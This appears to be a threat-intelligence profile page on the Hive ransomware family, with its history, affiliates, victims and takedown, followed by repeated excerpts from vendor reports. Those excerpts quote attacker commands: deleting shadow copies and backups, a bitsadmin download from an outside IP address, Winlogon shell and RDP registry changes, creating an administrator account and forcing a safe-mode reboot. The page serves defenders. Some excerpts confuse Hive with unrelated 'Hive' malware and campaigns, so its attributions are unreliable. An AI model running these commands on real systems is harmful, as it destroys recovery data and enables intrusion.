Loading malware…
Hive is a ransomware family first identified in 2021 and distributed through a ransomware-as-a-service operation. It encrypts victim data to prevent access and supports a double-extortion scheme in which affiliates steal sensitive information before deploying ransomware. Operators demand payment for decryption and for withholding stolen information from publication, publishing data from victims who refuse to pay. Hive has also been used against VMware ESXi servers.
Hive administrators developed the ransomware and its operating interface, while affiliates selected victims, conducted intrusions, and deployed the payload. Affiliates received 80 percent of ransom proceeds, with administrators retaining 20 percent. Initial-access methods included phishing emails with malicious attachments, exploitation of vulnerabilities, and access through single-factor-authenticated remote services, including Remote Desktop Protocol and VPNs. Identified affiliates include Artem Stryzhak, who participated in Hive attacks against seven organizations, including legal and healthcare providers.
Between June 2021 and January 2023, Hive attacks affected approximately 1,500 victims across more than 80 countries. Targets included hospitals, school districts, financial institutions, government entities, law firms, businesses, and critical infrastructure. Healthcare attacks disrupted patient care, including preventing a hospital from accepting new patients during the COVID-19 pandemic. The FBI infiltrated Hive infrastructure beginning in July 2022, obtained decryption keys, and supplied them to victims. An international law-enforcement operation seized Hive infrastructure in January 2023, disrupting its attack and extortion operations.
9 CVEs Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.
7 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
As a Hive affiliate, Stryzhak specifically deployed the Hive ransomware against seven victims, including law firms, a dentist office, and a healthcare provider.
In his role as a Hive affiliate, Stryzhak and his co-conspirators deployed Hive ransomware against seven victims, including law firms, a dentist office, and a healthcare provider during the COVID-19 pandemic.
Hive ransomware is only about one year old, having been first observed in June 2021, but it has grown into one of the most prevalent ransomware payloads in the ransomware as a service (RaaS) ecosystem.
Indictments returned in New Jersey and the District of Columbia allege that Matveev was involved in a conspiracy to distribute ransomware from three different strains or affiliate groups, including Babuk, Hive and LockBit.
DEV-0237 heavily used Ryuk and Conti payloads from Trickbot LLC/DEV-0193, then Hive payloads more recently.
Authorities say Matveev played a major role in the development and deployment of the Hive, LockBit and Babuk ransomware variants...
+1 more in the app. View in Mallory
57 distinct techniques documented for this family, organized by ATT&CK tactic.
She touted the recent FBI action taken to dismantle infrastructure used by the Hive ransomware group.
NCC Group carried out a physical malicious-media campaign, in which booby-trapped DVDs were created which, when inserted within a victim’s computer, would abuse the autoplay feature of Windows...
On Oct 21, 2022, 360Netlab's honeypot system captured a suspicious ELF file ... which propagated via F5 vulnerability
It also comes with support for a single command line parameter (-no-wipe). In contrast, Hive's Windows ransomware comes with up to 5 execution options, including killing processes and skipping disk cleaning, uninteresting files, and older files.
"vssadmin.exe delete shadows /all /quiet" "wmic.exe shadowcopy delete" "wbadmin.exe delete systemstatebackup"
The new variant uses a different set of algorithms: Elliptic Curve Diffie-Hellmann (ECDH) with Curve25519 and XChaCha20-Poly1305
"C:\Windows\system32\bitsadmin.exe" /transfer debjob /download /priority normal http://79.137.206.47/PsExec.exe C:\Users\Public\PsExec.exe
Hive stops the following services: windefend, msmpsvc, kavsvc...
Execute batch scripts (file1.bat)... Changes the Windows Shell from Explorer to their malicious script (file2.bat) Reboots the system
Rapid7 observed the malicious actor add/change policies for the Active Directory domain to perform the following: Copy down batch scripts Execute batch scripts (file1.bat)
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "C:\windows\file2.bat" /f
Creates administrator account on the local system
net user <REDACTED> <REDACTED> /add ... net localgroup Administrators <REDACTED> /add
"C:\Windows\system32\bitsadmin.exe" /transfer debjob /download /priority normal http://79.137.206.47/PsExec.exe C:\Users\Public\PsExec.exe
Sets various registry values to ensure the created local administrator user will automatically logon by default Changes the Windows Shell from Explorer to their malicious script (file2.bat)
Execute batch scripts (file1.bat)... Changes the Windows Shell from Explorer to their malicious script (file2.bat) Reboots the system
Rapid7 observed the malicious actor add/change policies for the Active Directory domain to perform the following: Copy down batch scripts Execute batch scripts (file1.bat)
...booby-trapped DVDs were created which, when inserted within a victim’s computer, would abuse the autoplay feature of Windows in order to play a Christmas-related video, while unbeknown to the victim their computer was compromised remotely...
Hive tries to impersonate the process tokens of trustedinstaller.exe and winlogon.exe so it can stop Microsoft Defender Antivirus, among other services.
Rapid7 observed the malicious actor add/change policies for the Active Directory domain to perform the following
Deployment of ransomware using Active Directory group policies allows the malicious actor to hit all systems in the environment
Sets various registry values to ensure the created local administrator user will automatically logon by default Changes the Windows Shell from Explorer to their malicious script (file2.bat)
The new Hive variant uses string encryption that can make it more evasive. Strings reside in the .rdata section and are decrypted during runtime by XORing with constants.
The payloads are written in Go and packed with UPX.
Extracts HIVE ransomware payload(s) from an encrypted archive (int.7z) using 7-Zip's console executable (7zr.exe)
0x02 Execute CMD with fake name "[kworker/3:1-events]"
As part of its ransomware activity, Hive typically runs processes that delete backups and prevent recovery.
As part of its ransomware activity, Hive typically runs processes that delete backups and prevent recovery... “vssadmin.exe delete shadows /all /quiet” “wmic.exe shadowcopy delete” “wbadmin.exe delete systemstatebackup” “wbadmin.exe delete catalog -quiet”
Hive tries to impersonate the process tokens of trustedinstaller.exe and winlogon.exe so it can stop Microsoft Defender Antivirus, among other services.
"C:\windows\7zr.exe" x c:\windows\int.7z -p123 -oc:\windows
"C:\Windows\system32\bitsadmin.exe" /transfer debjob /download /priority normal http://79.137.206.47/PsExec.exe C:\Users\Public\PsExec.exe
As part of its ransomware activity, Hive typically runs processes that delete backups and prevent recovery... “vssadmin.exe delete shadows /all /quiet” “wmic.exe shadowcopy delete” “wbadmin.exe delete systemstatebackup” “bcdedit.exe /set {default} recoveryenabled No”
Rapid7 observed that the HIVE payload would not execute unless a flag of -u was passed.
By targeting virtual machines, ransomware operators can also encrypt multiple servers at once with a single command. In June, researchers spotted a new REvil ransomware Linux encryptor designed to target VMware ESXi virtual machines, a popular enterprise virtual machine platform.
wait for the Triggger IP message in a specific format ... Trigger Payload hidden in the message
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "C:\windows\file2.bat" /f
Rapid7 observed the malicious actor add/change policies for the Active Directory domain to perform the following
Deployment of ransomware using Active Directory group policies allows the malicious actor to hit all systems in the environment
Like most sophisticated malware, Hive stops services and processes associated with security solutions and other tools that might get in the way of its attack chain. Hive tries to impersonate the process tokens of trustedinstaller.exe and winlogon.exe so it can stop Microsoft Defender Antivirus, among other services.
bcdedit /set {default} safeboot minimal
The main function of the Trigger is to listen to all traffic ... Use the function call socket( PF_PACKET, SOCK_RAW, htons( ETH_P_IP ) ) to set RAW SOCKET to capture IP messages | Trigger is to monitor the NIC traffic to identify specific messages that conceal the Trigger C2
Based on the stop flag, the malware connects to the Windows service control manager and proceeds to stop services matching the regex provided.
Collect process, NIC, network connection, and routing information by executing the following 4 commands
The main function of the Trigger is to listen to all traffic ... Use the function call socket( PF_PACKET, SOCK_RAW, htons( ETH_P_IP ) ) to set RAW SOCKET to capture IP messages | Trigger is to monitor the NIC traffic to identify specific messages that conceal the Trigger C2
Collect process, NIC, network connection, and routing information
Hive stops the following processes: dbsnmp, dbeng50, bedbh, excel... outlook... teamviewer... oracle... winmgmt, *sql*
Beacon is to periodically collect PID, MAC, SystemUpTime, process and network related device information
The discovery module will use NetServerEnum to identify available Windows hosts within the domain/workgroup. This list is then used with NetShareEnum to identify file shares on each remote host
By targeting virtual machines, ransomware operators can also encrypt multiple servers at once with a single command. In June, researchers spotted a new REvil ransomware Linux encryptor designed to target VMware ESXi virtual machines, a popular enterprise virtual machine platform.
The malicious actor then began using the remote process execution tool PSExec to execute batch files (rdp.bat) that would cause registry changes to enable Remote Desktop sessions (RDP). This enabled the malicious actor to laterally move throughout the victim’s environment using the graphical user interface.
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0 /f
xcopy.exe /C/Q/H/Y/Z "\\<REDACTED>\sysvol\<REDACTED>\Policies\{<REDACTED>}\Machine\Scripts\Startup\file1.bat" "C:\windows"
Deployment of ransomware using Active Directory group policies allows the malicious actor to hit all systems in the environment for as long as that group policy is active in the victim’s environment.
NCC Group carried out a physical malicious-media campaign, in which booby-trapped DVDs were created which, when inserted within a victim’s computer, would abuse the autoplay feature of Windows...
Initially using Cobalt Strike, the malicious actor retrieved system administration tools and malicious payloads by using the Background Intelligent Transfer Service (BITSAdmin).
Storing the ransomware within a 7zip encrypted archive (int.7z)
Extracts HIVE ransomware payload(s) from an encrypted archive (int.7z) using 7-Zip's console executable (7zr.exe)
These servers are the public-facing side of the CIA back-end infrastructure and act as a relay for HTTP(S) traffic over a VPN connection to a "hidden" CIA server called 'Blot'.
0x09 Socket5 Proxy
Initially using Cobalt Strike, the malicious actor retrieved system administration tools and malicious payloads by using the Background Intelligent Transfer Service (BITSAdmin).
its main purpose is to collect sensitive information and provide a foothold for subsequent intrusions
Fast flux refers to a domain-based technique that is characterized by rapidly changing the DNS records (e.g., IP addresses) associated with a single domain [T1568.001].
The disclosure comes as the U.S. Federal Bureau of Investigation (FBI) released a Flash report detailing the tactics of a new Ransomware-as-a-Service (RaaS) outfit known as Hive, consisting of a number of actors who are using multiple mechanisms to compromise business networks, exfiltrate data and encrypt data on the networks, and attempt to collect a ransom in exchange for access to the decryption software.
The other new flags -low-key, --low-key will cause the ransomware to focus on only its encryption of data and not perform pre-encryption tasks, including deleting shadow copies... deleting backup catalogs
The Hive ransomware gang now also encrypts Linux and FreeBSD using new malware variants specifically developed to target these platforms.
Hive stops the following services: windefend, msmpsvc, kavsvc... veeam, backup, vss, msexchange, mysql...
"vssadmin.exe delete shadows /all /quiet" "wmic.exe shadowcopy delete" "wbadmin.exe delete systemstatebackup" "wbadmin.exe delete catalog -quiet" "bcdedit.exe /set {default} recoveryenabled No"
shutdown -r -f -t 10 -c "Computer Will Now Restart In SAFE MODE..."
when organizations being held for ransom decline to cooperate or pay up, any data stolen from the victim should be published on the Russian cybercrime forums for all to plunder
129 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
162 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.